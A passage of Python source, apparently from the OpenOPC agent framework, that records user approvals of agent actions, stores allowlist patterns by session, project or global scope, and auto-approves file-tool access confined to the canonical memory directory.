once_patterns = exact_candidates or allowlist_patterns
|
|
if once_patterns:
|
|
saved_patterns = self._add_session_patterns_by_scope(
|
|
session_scope_id=session_scope_id,
|
|
action_kind=action_kind,
|
|
action_name=action_name,
|
|
patterns=once_patterns,
|
|
)
|
|
scope = f"session:{session_scope_id}"
|
|
elif normalized_reply == "always_project" and self.allowlist and project_id and allowlist_patterns:
|
|
saved_patterns = self.allowlist.add_patterns(
|
|
action_kind=action_kind,
|
|
action_name=action_name,
|
|
patterns=allowlist_patterns,
|
|
project_id=project_id,
|
|
)
|
|
scope = f"project:{project_id}"
|
|
elif normalized_reply == "always_global" and self.allowlist and allowlist_patterns:
|
|
saved_patterns = self.allowlist.add_patterns(
|
|
action_kind=action_kind,
|
|
action_name=action_name,
|
|
patterns=allowlist_patterns,
|
|
project_id=None,
|
|
)
|
|
scope = "global"
|
|
|
|
if action_name:
|
|
try:
|
|
self.preferences.record_autonomy_feedback(
|
|
action_name=action_name,
|
|
approved=approved,
|
|
project_id=project_id if normalized_reply == "always_project" else None,
|
|
explicit=normalized_reply in {"approve_session", "always_project", "always_global"},
|
|
notes=(
|
|
"User approved via deferred escalation card."
|
|
if approved
|
|
else "User denied via deferred escalation card."
|
|
),
|
|
)
|
|
except Exception:
|
|
logger.opt(exception=True).debug(
|
|
"Failed to record autonomy feedback for deferred escalation decision"
|
|
)
|
|
|
|
return {
|
|
"approved": approved,
|
|
"reply": normalized_reply,
|
|
"scope": scope,
|
|
"patterns": saved_patterns,
|
|
"action_name": action_name,
|
|
}
|
|
|
|
async def _record(
|
|
self,
|
|
task: Task | None,
|
|
action_kind: str,
|
|
action_name: str,
|
|
target_agent: str,
|
|
decision: ApprovalDecision,
|
|
) -> None:
|
|
project_id = task.project_id if task else "default"
|
|
await self.store.record_approval(
|
|
decision=decision,
|
|
task_id=task.id if task else None,
|
|
project_id=project_id,
|
|
action_kind=action_kind,
|
|
action_name=action_name,
|
|
target_agent=target_agent,
|
|
)
|
|
if self.config.learn_from_feedback and decision.action in {ApprovalAction.AUTO_APPROVE, ApprovalAction.REJECT}:
|
|
approved = decision.action == ApprovalAction.AUTO_APPROVE
|
|
self.preferences.record_autonomy_feedback(
|
|
action_name=action_name,
|
|
approved=approved,
|
|
project_id=project_id if project_id != "default" else None,
|
|
explicit=False,
|
|
notes=decision.rationale,
|
|
)
|
|
self.memory.append_autonomy_event(
|
|
{
|
|
"action_kind": action_kind,
|
|
"action_name": action_name,
|
|
"decision": decision.action.value,
|
|
"risk_level": decision.risk_level.value,
|
|
"policy_source": decision.policy_source,
|
|
"rationale": decision.rationale,
|
|
},
|
|
project=bool(task and task.project_id and task.project_id != "default"),
|
|
)
|
|
|
|
def _memory_path_decision(
|
|
self,
|
|
action_kind: str,
|
|
action_name: str,
|
|
metadata: dict[str, Any],
|
|
) -> ApprovalDecision | None:
|
|
if action_kind not in {"tool", "external_agent"}:
|
|
return None
|
|
if action_kind == "tool" and action_name not in {"file_read", "file_write", "file_edit", "file_delete"}:
|
|
return None
|
|
candidates = self._memory_path_candidates(metadata)
|
|
if not candidates:
|
|
return None
|
|
try:
|
|
memory_root = (Path(get_opc_home()) / "memory").resolve()
|
|
except Exception:
|
|
return None
|
|
for candidate in candidates:
|
|
try:
|
|
resolved = Path(candidate).expanduser().resolve()
|
|
except Exception:
|
|
return None
|
|
if not (resolved == memory_root or memory_root in resolved.parents):
|
|
return None
|
|
return ApprovalDecision(
|
|
action=ApprovalAction.AUTO_APPROVE,
|
|
risk_level=RiskLevel.LOW,
|
|
rationale="Allowed direct agent access to canonical OpenOPC memory files.",
|
|
confidence=0.99,
|
|
policy_source="memory_path_policy",
|
|
metadata=metadata,
|
|
)
|
|
|
|
@staticmethod
|
|
def _memory_path_candidates(metadata: dict[str, Any]) -> list[str]:
|
|
candidates: list[str] = []
|
|
|
|
def _collect(value: Any) -> None:
|
|
if isinstance(value, str):
|
|
text = value.strip()
|
|
if text:
|
|
candidates.append(text)
|
|
elif isinstance(value, list):
|
|
for item in value:
|
|
_collect(item)
|
|
|
|
arguments = metadata.get("arguments", {})
|
|
if isinstance(arguments, dict):
|
|
for key in ("path", "file_path", "target", "target_path", "directory", "workspace"):
|
|
_collect(arguments.get(key))
|
|
for key in ("path", "file_path", "target", "target_path"):
|
|
_collect(metadata.get(key))
|
|
_collect(metadata.get("permission_patterns"))
|
|
return list(dict.fromkeys(candidates))
|